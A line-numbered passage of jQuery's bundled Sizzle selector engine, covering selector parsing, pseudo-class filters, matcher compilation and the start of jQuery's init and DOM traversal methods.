967 return i ? siblingCheck(ap[i], bp[i]) : ap[i] === preferredDoc ? -1 : bp[i] === preferredDoc ? 1 : 0
968 };
969 return doc
970 };
971 Sizzle.matches = function(expr, elements) {
972 return Sizzle(expr, null, null, elements)
973 };
974 Sizzle.matchesSelector = function(elem, expr) {
975 if ((elem.ownerDocument || elem) !== document) {
976 setDocument(elem)
977 }
978 expr = expr.replace(rattributeQuotes, "='$1']");
979 if (support.matchesSelector && documentIsHTML && (!rbuggyMatches || !rbuggyMatches.test(expr)) && (!rbuggyQSA || !rbuggyQSA.test(expr))) {
980 try {
981 var ret = matches.call(elem, expr);
982 if (ret || support.disconnectedMatch || elem.document && elem.document.nodeType !== 11) {
983 return ret
984 }
985 } catch (e) {}
986 }
987 return Sizzle(expr, document, null, [elem]).length > 0
988 };
989 Sizzle.contains = function(context, elem) {
990 if ((context.ownerDocument || context) !== document) {
991 setDocument(context)
992 }
993 return contains(context, elem)
994 };
995 Sizzle.attr = function(elem, name) {
996 if ((elem.ownerDocument || elem) !== document) {
997 setDocument(elem)
998 }
999 var fn = Expr.attrHandle[name.toLowerCase()],
1000 val = fn && hasOwn.call(Expr.attrHandle, name.toLowerCase()) ? fn(elem, name, !documentIsHTML) : undefined;
1001 return val !== undefined ? val : support.attributes || !documentIsHTML ? elem.getAttribute(name) : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null
1002 };
1003 Sizzle.error = function(msg) {
1004 throw new Error("Syntax error, unrecognized expression: " + msg);
1005 };
1006 Sizzle.uniqueSort = function(results) {
1007 var elem, duplicates = [],
1008 j = 0,
1009 i = 0;
1010 hasDuplicate = !support.detectDuplicates;
1011 sortInput = !support.sortStable && results.slice(0);
1012 results.sort(sortOrder);
1013 if (hasDuplicate) {
1014 while ((elem = results[i++])) {
1015 if (elem === results[i]) {
1016 j = duplicates.push(i)
1017 }
1018 }
1019 while (j--) {
1020 results.splice(duplicates[j], 1)
1021 }
1022 }
1023 sortInput = null;
1024 return results
1025 };
1026 getText = Sizzle.getText = function(elem) {
1027 var node, ret = "",
1028 i = 0,
1029 nodeType = elem.nodeType;
1030 if (!nodeType) {
1031 while ((node = elem[i++])) {
1032 ret += getText(node)
1033 }
1034 } else if (nodeType === 1 || nodeType === 9 || nodeType === 11) {
1035 if (typeof elem.textContent === "string") {
1036 return elem.textContent
1037 } else {
1038 for (elem = elem.firstChild; elem; elem = elem.nextSibling) {
1039 ret += getText(elem)
1040 }
1041 }
1042 } else if (nodeType === 3 || nodeType === 4) {
1043 return elem.nodeValue
1044 }
1045 return ret
1046 };
1047 Expr = Sizzle.selectors = {
1048 cacheLength: 50,
1049 createPseudo: markFunction,
1050 match: matchExpr,
1051 attrHandle: {},
1052 find: {},
1053 relative: {
1054 ">": {
1055 dir: "parentNode",
1056 first: true
1057 },
1058 " ": {
1059 dir: "parentNode"
1060 },
1061 "+": {
1062 dir: "previousSibling",
1063 first: true
1064 },
1065 "~": {
1066 dir: "previousSibling"
1067 }
1068 },
1069 preFilter: {
1070 "ATTR": function(match) {
1071 match[1] = match[1].replace(runescape, funescape);
1072 match[3] = (match[3] || match[4] || match[5] || "").replace(runescape, funescape);
1073 if (match[2] === "~=") {
1074 match[3] = " " + match[3] + " "
1075 }
1076 return match.slice(0, 4)
1077 },
1078 "CHILD": function(match) {
1079 match[1] = match[1].toLowerCase();
1080 if (match[1].slice(0, 3) === "nth") {
1081 if (!match[3]) {
1082 Sizzle.error(match[0])
1083 }
1084 match[4] = +(match[4] ? match[5] + (match[6] || 1) : 2 * (match[3] === "even" || match[3] === "odd"));
1085 match[5] = +((match[7] + match[8]) || match[3] === "odd")
1086 } else if (match[3]) {
1087 Sizzle.error(match[0])
1088 }
1089 return match
1090 },
1091 "PSEUDO": function(match) {
1092 var excess, unquoted = !match[6] && match[2];
1093 if (matchExpr["CHILD"].test(match[0])) {
1094 return null
1095 }
1096 if (match[3]) {
1097 match[2] = match[4] || match[5] || ""
1098 } else if (unquoted && rpseudo.test(unquoted) && (excess = tokenize(unquoted, true)) && (excess = unquoted.indexOf(")", unquoted.length - excess) - unquoted.length)) {
1099 match[0] = match[0].slice(0, excess);
1100 match[2] = unquoted.slice(0, excess)
1101 }
1102 return match.slice(0, 3)
1103 }
1104 },
1105 filter: {
1106 "TAG": function(nodeNameSelector) {
1107 var nodeName = nodeNameSelector.replace(runescape, funescape).toLowerCase();
1108 return nodeNameSelector === "*" ? function() {
1109 return true
1110 } : function(elem) {
1111 return elem.nodeName && elem.nodeName.toLowerCase() === nodeName
1112 }
1113 },
1114 "CLASS": function(className) {
1115 var pattern = classCache[className + " "];
1116 return pattern || (pattern = new RegExp("(^|" + whitespace + ")" + className + "(" + whitespace + "|$)")) && classCache(className, function(elem) {
1117 return pattern.test(typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== "undefined" && elem.getAttribute("class") || "")
1118 })
1119 },
1120 "ATTR": function(name, operator, check) {
1121 return function(elem) {
1122 var result = Sizzle.attr(elem, name);
1123 if (result == null) {
1124 return operator === "!="
1125 }
1126 if (!operator) {
1127 return true
1128 }
1129 result += "";
1130 return operator === "=" ? result === check : operator === "!=" ? result !== check : operator === "^=" ? check && result.indexOf(check) === 0 : operator === "*=" ? check && result.indexOf(check) > -1 : operator === "$=" ? check && result.slice(-check.length) === check : operator === "~=" ? (" " + result.replace(rwhitespace, " ") + " ").indexOf(check) > -1 : operator === "|=" ? result === check || result.slice(0, check.length + 1) === check + "-" : false
1131 }
1132 },
1133 "CHILD": function(type, what, argument, first, last) {
1134 var simple = type.slice(0, 3) !== "nth",
1135 forward = type.slice(-4) !== "last",
1136 ofType = what === "of-type";
1137 return first === 1 && last === 0 ? function(elem) {
1138 return !!elem.parentNode
1139 } : function(elem, context, xml) {
1140 var cache, outerCache, node, diff, nodeIndex, start, dir = simple !== forward ? "nextSibling" : "previousSibling",
1141 parent = elem.parentNode,
1142 name = ofType && elem.nodeName.toLowerCase(),
1143 useCache = !xml && !ofType;
1144 if (parent) {
1145 if (simple) {
1146 while (dir) {
1147 node = elem;
1148 while ((node = node[dir])) {
1149 if (ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1) {
1150 return false
1151 }
1152 }
1153 start = dir = type === "only" && !start && "nextSibling"
1154 }
1155 return true
1156 }
1157 start = [forward ? parent.firstChild : parent.lastChild];
1158 if (forward && useCache) {
1159 outerCache = parent[expando] || (parent[expando] = {});
1160 cache = outerCache[type] || [];
1161 nodeIndex = cache[0] === dirruns && cache[1];
1162 diff = cache[0] === dirruns && cache[2];
1163 node = nodeIndex && parent.childNodes[nodeIndex];
1164 while ((node = ++nodeIndex && node && node[dir] || (diff = nodeIndex = 0) || start.pop())) {
1165 if (node.nodeType === 1 && ++diff && node === elem) {
1166 outerCache[type] = [dirruns, nodeIndex, diff];
1167 break
1168 }
1169 }
1170 } else if (useCache && (cache = (elem[expando] || (elem[expando] = {}))[type]) && cache[0] === dirruns) {
1171 diff = cache[1]
1172 } else {
1173 while ((node = ++nodeIndex && node && node[dir] || (diff = nodeIndex = 0) || start.pop())) {
1174 if ((ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1) && ++diff) {
1175 if (useCache) {
1176 (node[expando] || (node[expando] = {}))[type] = [dirruns, diff]
1177 }
1178 if (node === elem) {
1179 break
1180 }
1181 }
1182 }
1183 }
1184 diff -= last;
1185 return diff === first || (diff % first === 0 && diff / first >= 0)
1186 }
1187 }
1188 },
1189 "PSEUDO": function(pseudo, argument) {
1190 var args, fn = Expr.pseudos[pseudo] || Expr.setFilters[pseudo.toLowerCase()] || Sizzle.error("unsupported pseudo: " + pseudo);
1191 if (fn[expando]) {
1192 return fn(argument)
1193 }
1194 if (fn.length > 1) {
1195 args = [pseudo, pseudo, "", argument];
1196 return Expr.setFilters.hasOwnProperty(pseudo.toLowerCase()) ? markFunction(function(seed, matches) {
1197 var idx, matched = fn(seed, argument),
1198 i = matched.length;
1199 while (i--) {
1200 idx = indexOf(seed, matched[i]);
1201 seed[idx] = !(matches[idx] = matched[i])
1202 }
1203 }) : function(elem) {
1204 return fn(elem, 0, args)
1205 }
1206 }
1207 return fn
1208 }
1209 },
1210 pseudos: {
1211 "not": markFunction(function(selector) {
1212 var input = [],
1213 results = [],
1214 matcher = compile(selector.replace(rtrim, "$1"));
1215 return matcher[expando] ? markFunction(function(seed, matches, context, xml) {
1216 var elem, unmatched = matcher(seed, null, xml, []),
1217 i = seed.length;
1218 while (i--) {
1219 if ((elem = unmatched[i])) {
1220 seed[i] = !(matches[i] = elem)
1221 }
1222 }
1223 }) : function(elem, context, xml) {
1224 input[0] = elem;
1225 matcher(input, null, xml, results);
1226 input[0] = null;
1227 return !results.pop()
1228 }
1229 }),
1230 "has": markFunction(function(selector) {
1231 return function(elem) {
1232 return Sizzle(selector, elem).length > 0
1233 }
1234 }),
1235 "contains": markFunction(function(text) {
1236 text = text.replace(runescape, funescape);
1237 return function(elem) {
1238 return (elem.textContent || elem.innerText || getText(elem)).indexOf(text) > -1
1239 }
1240 }),
1241 "lang": markFunction(function(lang) {
1242 if (!ridentifier.test(lang || "")) {
1243 Sizzle.error("unsupported lang: " + lang)
1244 }
1245 lang = lang.replace(runescape, funescape).toLowerCase();
1246 return function(elem) {
1247 var elemLang;
1248 do {
1249 if ((elemLang = documentIsHTML ? elem.lang : elem.getAttribute("xml:lang") || elem.getAttribute("lang"))) {
1250 elemLang = elemLang.toLowerCase();
1251 return elemLang === lang || elemLang.indexOf(lang + "-") === 0
1252 }
1253 } while ((elem = elem.parentNode) && elem.nodeType === 1);
1254 return false
1255 }
1256 }),
1257 "target": function(elem) {
1258 var hash = window.location && window.location.hash;
1259 return hash && hash.slice(1) === elem.id
1260 },
1261 "root": function(elem) {
1262 return elem === docElem
1263 },
1264 "focus": function(elem) {
1265 return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex)
1266 },
1267 "enabled": function(elem) {
1268 return elem.disabled === false
1269 },
1270 "disabled": function(elem) {
1271 return elem.disabled === true
1272 },
1273 "checked": function(elem) {
1274 var nodeName = elem.nodeName.toLowerCase();
1275 return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected)
1276 },
1277 "selected": function(elem) {
1278 if (elem.parentNode) {
1279 elem.parentNode.selectedIndex
1280 }
1281 return elem.selected === true
1282 },
1283 "empty": function(elem) {
1284 for (elem = elem.firstChild; elem; elem = elem.nextSibling) {
1285 if (elem.nodeType < 6) {
1286 return false
1287 }
1288 }
1289 return true
1290 },
1291 "parent": function(elem) {
1292 return !Expr.pseudos["empty"](elem)
1293 },
1294 "header": function(elem) {
1295 return rheader.test(elem.nodeName)
1296 },
1297 "input": function(elem) {
1298 return rinputs.test(elem.nodeName)
1299 },
1300 "button": function(elem) {
1301 var name = elem.nodeName.toLowerCase();
1302 return name === "input" && elem.type === "button" || name === "button"
1303 },
1304 "text": function(elem) {
1305 var attr;
1306 return elem.nodeName.toLowerCase() === "input" && elem.type === "text" && ((attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text")
1307 },
1308 "first": createPositionalPseudo(function() {
1309 return [0]
1310 }),
1311 "last": createPositionalPseudo(function(matchIndexes, length) {
1312 return [length - 1]
1313 }),
1314 "eq": createPositionalPseudo(function(matchIndexes, length, argument) {
1315 return [argument < 0 ? argument + length : argument]
1316 }),
1317 "even": createPositionalPseudo(function(matchIndexes, length) {
1318 var i = 0;
1319 for (; i < length; i += 2) {
1320 matchIndexes.push(i)
1321 }
1322 return matchIndexes
1323 }),
1324 "odd": createPositionalPseudo(function(matchIndexes, length) {
1325 var i = 1;
1326 for (; i < length; i += 2) {
1327 matchIndexes.push(i)
1328 }
1329 return matchIndexes
1330 }),
1331 "lt": createPositionalPseudo(function(matchIndexes, length, argument) {
1332 var i = argument < 0 ? argument + length : argument;
1333 for (; --i >= 0;) {
1334 matchIndexes.push(i)
1335 }
1336 return matchIndexes
1337 }),
1338 "gt": createPositionalPseudo(function(matchIndexes, length, argument) {
1339 var i = argument < 0 ? argument + length : argument;
1340 for (; ++i < length;) {
1341 matchIndexes.push(i)
1342 }
1343 return matchIndexes
1344 })
1345 }
1346 };
1347 Expr.pseudos["nth"] = Expr.pseudos["eq"];
1348 for (i in {
1349 radio: true,
1350 checkbox: true,
1351 file: true,
1352 password: true,
1353 image: true
1354 }) {
1355 Expr.pseudos[i] = createInputPseudo(i)
1356 }
1357 for (i in {
1358 submit: true,
1359 reset: true
1360 }) {
1361 Expr.pseudos[i] = createButtonPseudo(i)
1362 }
1363
1364 function setFilters() {}
1365 setFilters.prototype = Expr.filters = Expr.pseudos;
1366 Expr.setFilters = new setFilters();
1367 tokenize = Sizzle.tokenize = function(selector, parseOnly) {
1368 var matched, match, tokens, type, soFar, groups, preFilters, cached = tokenCache[selector + " "];
1369 if (cached) {
1370 return parseOnly ? 0 : cached.slice(0)
1371 }
1372 soFar = selector;
1373 groups = [];
1374 preFilters = Expr.preFilter;
1375 while (soFar) {
1376 if (!matched || (match = rcomma.exec(soFar))) {
1377 if (match) {
1378 soFar = soFar.slice(match[0].length) || soFar
1379 }
1380 groups.push((tokens = []))
1381 }
1382 matched = false;
1383 if ((match = rcombinators.exec(soFar))) {
1384 matched = match.shift();
1385 tokens.push({
1386 value: matched,
1387 type: match[0].replace(rtrim, " ")
1388 });
1389 soFar = soFar.slice(matched.length)
1390 }
1391 for (type in Expr.filter) {
1392 if ((match = matchExpr[type].exec(soFar)) && (!preFilters[type] || (match = preFilters[type](match)))) {
1393 matched = match.shift();
1394 tokens.push({
1395 value: matched,
1396 type: type,
1397 matches: match
1398 });
1399 soFar = soFar.slice(matched.length)
1400 }
1401 }
1402 if (!matched) {
1403 break
1404 }
1405 }
1406 return parseOnly ? soFar.length : soFar ? Sizzle.error(selector) : tokenCache(selector, groups).slice(0)
1407 };
1408
1409 function toSelector(tokens) {
1410 var i = 0,
1411 len = tokens.length,
1412 selector = "";
1413 for (; i < len; i++) {
1414 selector += tokens[i].value
1415 }
1416 return selector
1417 }
1418
1419 function addCombinator(matcher, combinator, base) {
1420 var dir = combinator.dir,
1421 checkNonElements = base && dir === "parentNode",
1422 doneName = done++;
1423 return combinator.first ? function(elem, context, xml) {
1424 while ((elem = elem[dir])) {
1425 if (elem.nodeType === 1 || checkNonElements) {
1426 return matcher(elem, context, xml)
1427 }
1428 }
1429 } : function(elem, context, xml) {
1430 var oldCache, outerCache, newCache = [dirruns, doneName];
1431 if (xml) {
1432 while ((elem = elem[dir])) {
1433 if (elem.nodeType === 1 || checkNonElements) {
1434 if (matcher(elem, context, xml)) {
1435 return true
1436 }
1437 }
1438 }
1439 } else {
1440 while ((elem = elem[dir])) {
1441 if (elem.nodeType === 1 || checkNonElements) {
1442 outerCache = elem[expando] || (elem[expando] = {});
1443 if ((oldCache = outerCache[dir]) && oldCache[0] === dirruns && oldCache[1] === doneName) {
1444 return (newCache[2] = oldCache[2])
1445 } else {
1446 outerCache[dir] = newCache;
1447 if ((newCache[2] = matcher(elem, context, xml))) {
1448 return true
1449 }
1450 }
1451 }
1452 }
1453 }
1454 }
1455 }
1456
1457 function elementMatcher(matchers) {
1458 return matchers.length > 1 ? function(elem, context, xml) {
1459 var i = matchers.length;
1460 while (i--) {
1461 if (!matchers[i](elem, context, xml)) {
1462 return false
1463 }
1464 }
1465 return true
1466 } : matchers[0]
1467 }
1468
1469 function multipleContexts(selector, contexts, results) {
1470 var i = 0,
1471 len = contexts.length;
1472 for (; i < len; i++) {
1473 Sizzle(selector, contexts[i], results)
1474 }
1475 return results
1476 }
1477
1478 function condense(unmatched, map, filter, context, xml) {
1479 var elem, newUnmatched = [],
1480 i = 0,
1481 len = unmatched.length,
1482 mapped = map != null;
1483 for (; i < len; i++) {
1484 if ((elem = unmatched[i])) {
1485 if (!filter || filter(elem, context, xml)) {
1486 newUnmatched.push(elem);
1487 if (mapped) {
1488 map.push(i)
1489 }
1490 }
1491 }
1492 }
1493 return newUnmatched
1494 }
1495
1496 function setMatcher(preFilter, selector, matcher, postFilter, postFinder, postSelector) {
1497 if (postFilter && !postFilter[expando]) {
1498 postFilter = setMatcher(postFilter)
1499 }
1500 if (postFinder && !postFinder[expando]) {
1501 postFinder = setMatcher(postFinder, postSelector)
1502 }
1503 return markFunction(function(seed, results, context, xml) {
1504 var temp, i, elem, preMap = [],
1505 postMap = [],
1506 preexisting = results.length,
1507 elems = seed || multipleContexts(selector || "*", context.nodeType ? [context] : context, []),
1508 matcherIn = preFilter && (seed || !selector) ? condense(elems, preMap, preFilter, context, xml) : elems,
1509 matcherOut = matcher ? postFinder || (seed ? preFilter : preexisting || postFilter) ? [] : results : matcherIn;
1510 if (matcher) {
1511 matcher(matcherIn, matcherOut, context, xml)
1512 }
1513 if (postFilter) {
1514 temp = condense(matcherOut, postMap);
1515 postFilter(temp, [], context, xml);
1516 i = temp.length;
1517 while (i--) {
1518 if ((elem = temp[i])) {
1519 matcherOut[postMap[i]] = !(matcherIn[postMap[i]] = elem)
1520 }
1521 }
1522 }
1523 if (seed) {
1524 if (postFinder || preFilter) {
1525 if (postFinder) {
1526 temp = [];
1527 i = matcherOut.length;
1528 while (i--) {
1529 if ((elem = matcherOut[i])) {
1530 temp.push((matcherIn[i] = elem))
1531 }
1532 }
1533 postFinder(null, (matcherOut = []), temp, xml)
1534 }
1535 i = matcherOut.length;
1536 while (i--) {
1537 if ((elem = matcherOut[i]) && (temp = postFinder ? indexOf(seed, elem) : preMap[i]) > -1) {
1538 seed[temp] = !(results[temp] = elem)
1539 }
1540 }
1541 }
1542 } else {
1543 matcherOut = condense(matcherOut === results ? matcherOut.splice(preexisting, matcherOut.length) : matcherOut);
1544 if (postFinder) {
1545 postFinder(null, results, matcherOut, xml)
1546 } else {
1547 push.apply(results, matcherOut)
1548 }
1549 }
1550 })
1551 }
1552
1553 function matcherFromTokens(tokens) {
1554 var checkContext, matcher, j, len = tokens.length,
1555 leadingRelative = Expr.relative[tokens[0].type],
1556 implicitRelative = leadingRelative || Expr.relative[" "],
1557 i = leadingRelative ? 1 : 0,
1558 matchContext = addCombinator(function(elem) {
1559 return elem === checkContext
1560 }, implicitRelative, true),
1561 matchAnyContext = addCombinator(function(elem) {
1562 return indexOf(checkContext, elem) > -1
1563 }, implicitRelative, true),
1564 matchers = [function(elem, context, xml) {
1565 var ret = (!leadingRelative && (xml || context !== outermostContext)) || ((checkContext = context).nodeType ? matchContext(elem, context, xml) : matchAnyContext(elem, context, xml));
1566 checkContext = null;
1567 return ret
1568 }];
1569 for (; i < len; i++) {
1570 if ((matcher = Expr.relative[tokens[i].type])) {
1571 matchers = [addCombinator(elementMatcher(matchers), matcher)]
1572 } else {
1573 matcher = Expr.filter[tokens[i].type].apply(null, tokens[i].matches);
1574 if (matcher[expando]) {
1575 j = ++i;
1576 for (; j < len; j++) {
1577 if (Expr.relative[tokens[j].type]) {
1578 break
1579 }
1580 }
1581 return setMatcher(i > 1 && elementMatcher(matchers), i > 1 && toSelector(tokens.slice(0, i - 1).concat({
1582 value: tokens[i - 2].type === " " ? "*" : ""
1583 })).replace(rtrim, "$1"), matcher, i < j && matcherFromTokens(tokens.slice(i, j)), j < len && matcherFromTokens((tokens = tokens.slice(j))), j < len && toSelector(tokens))
1584 }
1585 matchers.push(matcher)
1586 }
1587 }
1588 return elementMatcher(matchers)
1589 }
1590
1591 function matcherFromGroupMatchers(elementMatchers, setMatchers) {
1592 var bySet = setMatchers.length > 0,
1593 byElement = elementMatchers.length > 0,
1594 superMatcher = function(seed, context, xml, results, outermost) {
1595 var elem, j, matcher, matchedCount = 0,
1596 i = "0",
1597 unmatched = seed && [],
1598 setMatched = [],
1599 contextBackup = outermostContext,
1600 elems = seed || byElement && Expr.find["TAG"]("*", outermost),
1601 dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),
1602 len = elems.length;
1603 if (outermost) {
1604 outermostContext = context !== document && context
1605 }
1606 for (; i !== len && (elem = elems[i]) != null; i++) {
1607 if (byElement && elem) {
1608 j = 0;
1609 while ((matcher = elementMatchers[j++])) {
1610 if (matcher(elem, context, xml)) {
1611 results.push(elem);
1612 break
1613 }
1614 }
1615 if (outermost) {
1616 dirruns = dirrunsUnique
1617 }
1618 }
1619 if (bySet) {
1620 if ((elem = !matcher && elem)) {
1621 matchedCount--
1622 }
1623 if (seed) {
1624 unmatched.push(elem)
1625 }
1626 }
1627 }
1628 matchedCount += i;
1629 if (bySet && i !== matchedCount) {
1630 j = 0;
1631 while ((matcher = setMatchers[j++])) {
1632 matcher(unmatched, setMatched, context, xml)
1633 }
1634 if (seed) {
1635 if (matchedCount > 0) {
1636 while (i--) {
1637 if (!(unmatched[i] || setMatched[i])) {
1638 setMatched[i] = pop.call(results)
1639 }
1640 }
1641 }
1642 setMatched = condense(setMatched)
1643 }
1644 push.apply(results, setMatched);
1645 if (outermost && !seed && setMatched.length > 0 && (matchedCount + setMatchers.length) > 1) {
1646 Sizzle.uniqueSort(results)
1647 }
1648 }
1649 if (outermost) {
1650 dirruns = dirrunsUnique;
1651 outermostContext = contextBackup
1652 }
1653 return unmatched
1654 };
1655 return bySet ? markFunction(superMatcher) : superMatcher
1656 }
1657 compile = Sizzle.compile = function(selector, match) {
1658 var i, setMatchers = [],
1659 elementMatchers = [],
1660 cached = compilerCache[selector + " "];
1661 if (!cached) {
1662 if (!match) {
1663 match = tokenize(selector)
1664 }
1665 i = match.length;
1666 while (i--) {
1667 cached = matcherFromTokens(match[i]);
1668 if (cached[expando]) {
1669 setMatchers.push(cached)
1670 } else {
1671 elementMatchers.push(cached)
1672 }
1673 }
1674 cached = compilerCache(selector, matcherFromGroupMatchers(elementMatchers, setMatchers));
1675 cached.selector = selector
1676 }
1677 return cached
1678 };
1679 select = Sizzle.select = function(selector, context, results, seed) {
1680 var i, tokens, token, type, find, compiled = typeof selector === "function" && selector,
1681 match = !seed && tokenize((selector = compiled.selector || selector));
1682 results = results || [];
1683 if (match.length === 1) {
1684 tokens = match[0] = match[0].slice(0);
1685 if (tokens.length > 2 && (token = tokens[0]).type === "ID" && support.getById && context.nodeType === 9 && documentIsHTML && Expr.relative[tokens[1].type]) {
1686 context = (Expr.find["ID"](token.matches[0].replace(runescape, funescape), context) || [])[0];
1687 if (!context) {
1688 return results
1689 } else if (compiled) {
1690 context = context.parentNode
1691 }
1692 selector = selector.slice(tokens.shift().value.length)
1693 }
1694 i = matchExpr["needsContext"].test(selector) ? 0 : tokens.length;
1695 while (i--) {
1696 token = tokens[i];
1697 if (Expr.relative[(type = token.type)]) {
1698 break
1699 }
1700 if ((find = Expr.find[type])) {
1701 if ((seed = find(token.matches[0].replace(runescape, funescape), rsibling.test(tokens[0].type) && testContext(context.parentNode) || context))) {
1702 tokens.splice(i, 1);
1703 selector = seed.length && toSelector(tokens);
1704 if (!selector) {
1705 push.apply(results, seed);
1706 return results
1707 }
1708 break
1709 }
1710 }
1711 }
1712 }(compiled || compile(selector, match))(seed, context, !documentIsHTML, results, rsibling.test(selector) && testContext(context.parentNode) || context);
1713 return results
1714 };
1715 support.sortStable = expando.split("").sort(sortOrder).join("") === expando;
1716 support.detectDuplicates = !!hasDuplicate;
1717 setDocument();
1718 support.sortDetached = assert(function(div1) {
1719 return div1.compareDocumentPosition(document.createElement("div")) & 1
1720 });
1721 if (!assert(function(div) {
1722 div.innerHTML = "<a href='#'></a>";
1723 return div.firstChild.getAttribute("href") === "#"
1724 })) {
1725 addHandle("type|href|height|width", function(elem, name, isXML) {
1726 if (!isXML) {
1727 return elem.getAttribute(name, name.toLowerCase() === "type" ? 1 : 2)
1728 }
1729 })
1730 }
1731 if (!support.attributes || !assert(function(div) {
1732 div.innerHTML = "<input/>";
1733 div.firstChild.setAttribute("value", "");
1734 return div.firstChild.getAttribute("value") === ""
1735 })) {
1736 addHandle("value", function(elem, name, isXML) {
1737 if (!isXML && elem.nodeName.toLowerCase() === "input") {
1738 return elem.defaultValue
1739 }
1740 })
1741 }
1742 if (!assert(function(div) {
1743 return div.getAttribute("disabled") == null
1744 })) {
1745 addHandle(booleans, function(elem, name, isXML) {
1746 var val;
1747 if (!isXML) {
1748 return elem[name] === true ? name.toLowerCase() : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null
1749 }
1750 })
1751 }
1752 return Sizzle
1753 })(window);
1754 jQuery.find = Sizzle;
1755 jQuery.expr = Sizzle.selectors;
1756 jQuery.expr[":"] = jQuery.expr.pseudos;
1757 jQuery.unique = Sizzle.uniqueSort;
1758 jQuery.text = Sizzle.getText;
1759 jQuery.isXMLDoc = Sizzle.isXML;
1760 jQuery.contains = Sizzle.contains;
1761 var rneedsContext = jQuery.expr.match.needsContext;
1762 var rsingleTag = (/^<(\w+)\s*\/?>(?:<\/\1>|)$/);
1763 var risSimple = /^.[^:#\[\.,]*$/;
1764
1765 function winnow(elements, qualifier, not) {
1766 if (jQuery.isFunction(qualifier)) {
1767 return jQuery.grep(elements, function(elem, i) {
1768 return !!qualifier.call(elem, i, elem) !== not
1769 })
1770 }
1771 if (qualifier.nodeType) {
1772 return jQuery.grep(elements, function(elem) {
1773 return (elem === qualifier) !== not
1774 })
1775 }
1776 if (typeof qualifier === "string") {
1777 if (risSimple.test(qualifier)) {
1778 return jQuery.filter(qualifier, elements, not)
1779 }
1780 qualifier = jQuery.filter(qualifier, elements)
1781 }
1782 return jQuery.grep(elements, function(elem) {
1783 return (jQuery.inArray(elem, qualifier) >= 0) !== not
1784 })
1785 }
1786 jQuery.filter = function(expr, elems, not) {
1787 var elem = elems[0];
1788 if (not) {
1789 expr = ":not(" + expr + ")"
1790 }
1791 return elems.length === 1 && elem.nodeType === 1 ? jQuery.find.matchesSelector(elem, expr) ? [elem] : [] : jQuery.find.matches(expr, jQuery.grep(elems, function(elem) {
1792 return elem.nodeType === 1
1793 }))
1794 };
1795 jQuery.fn.extend({
1796 find: function(selector) {
1797 var i, ret = [],
1798 self = this,
1799 len = self.length;
1800 if (typeof selector !== "string") {
1801 return this.pushStack(jQuery(selector).filter(function() {
1802 for (i = 0; i < len; i++) {
1803 if (jQuery.contains(self[i], this)) {
1804 return true
1805 }
1806 }
1807 }))
1808 }
1809 for (i = 0; i < len; i++) {
1810 jQuery.find(selector, self[i], ret)
1811 }
1812 ret = this.pushStack(len > 1 ? jQuery.unique(ret) : ret);
1813 ret.selector = this.selector ? this.selector + " " + selector : selector;
1814 return ret
1815 },
1816 filter: function(selector) {
1817 return this.pushStack(winnow(this, selector || [], false))
1818 },
1819 not: function(selector) {
1820 return this.pushStack(winnow(this, selector || [], true))
1821 },
1822 is: function(selector) {
1823 return !!winnow(this, typeof selector === "string" && rneedsContext.test(selector) ? jQuery(selector) : selector || [], false).length
1824 }
1825 });
1826 var rootjQuery, document = window.document,
1827 rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,
1828 init = jQuery.fn.init = function(selector, context) {
1829 var match, elem;
1830 if (!selector) {
1831 return this
1832 }
1833 if (typeof selector === "string") {
1834 if (selector.charAt(0) === "<" && selector.charAt(selector.length - 1) === ">" && selector.length >= 3) {
1835 match = [null, selector, null]
1836 } else {
1837 match = rquickExpr.exec(selector)
1838 }
1839 if (match && (match[1] || !context)) {
1840 if (match[1]) {
1841 context = context instanceof jQuery ? context[0] : context;
1842 jQuery.merge(this, jQuery.parseHTML(match[1], context && context.nodeType ? context.ownerDocument || context : document, true));
1843 if (rsingleTag.test(match[1]) && jQuery.isPlainObject(context)) {
1844 for (match in context) {
1845 if (jQuery.isFunction(this[match])) {
1846 this[match](context[match])
1847 } else {
1848 this.attr(match, context[match])
1849 }
1850 }
1851 }
1852 return this
1853 } else {
1854 elem = document.getElementById(match[2]);
1855 if (elem && elem.parentNode) {
1856 if (elem.id !== match[2]) {
1857 return rootjQuery.find(selector)
1858 }
1859 this.length = 1;
1860 this[0] = elem
1861 }
1862 this.context = document;
1863 this.selector = selector;
1864 return this
1865 }
1866 } else if (!context || context.jquery) {
1867 return (context || rootjQuery).find(selector)
1868 } else {
1869 return this.constructor(context).find(selector)
1870 }
1871 } else if (selector.nodeType) {
1872 this.context = this[0] = selector;
1873 this.length = 1;
1874 return this
1875 } else if (jQuery.isFunction(selector)) {
1876 return typeof rootjQuery.ready !== "undefined" ? rootjQuery.ready(selector) : selector(jQuery)
1877 }
1878 if (selector.selector !== undefined) {
1879 this.selector = selector.selector;
1880 this.context = selector.context
1881 }
1882 return jQuery.makeArray(selector, this)
1883 };
1884 init.prototype = jQuery.fn;
1885 rootjQuery = jQuery(document);
1886 var rparentsprev = /^(?:parents|prev(?:Until|All))/,
1887 guaranteedUnique = {
1888 children: true,
1889 contents: true,
1890 next: true,
1891 prev: true
1892 };
1893 jQuery.extend({
1894 dir: function(elem, dir, until) {
1895 var matched = [],
1896 cur = elem[dir];
1897 while (cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery(cur).is(until))) {
1898 if (cur.nodeType === 1) {
1899 matched.push(cur)
1900 }
1901 cur = cur[dir]
1902 }
1903 return matched
1904 },
1905 sibling: function(n, elem) {
1906 var r = [];
1907 for (; n; n = n.nextSibling) {
1908 if (n.nodeType === 1 && n !== elem) {
1909 r.push(n)
1910 }
1911 }
1912 return r
1913 }
1914 });
1915 jQuery.fn.extend({
1916 has: function(target) {
1917 var i, targets = jQuery(target, this),
1918 len = targets.length;
1919 return this.filter(function() {
1920 for (i = 0; i < len; i++) {
1921 if (jQuery.contains(this, targets[i])) {
1922 return true
1923 }
1924 }
1925 })
1926 },
1927 closest: function(selectors, context) {
1928 var cur, i = 0,
1929 l = this.length,
1930 matched = [],
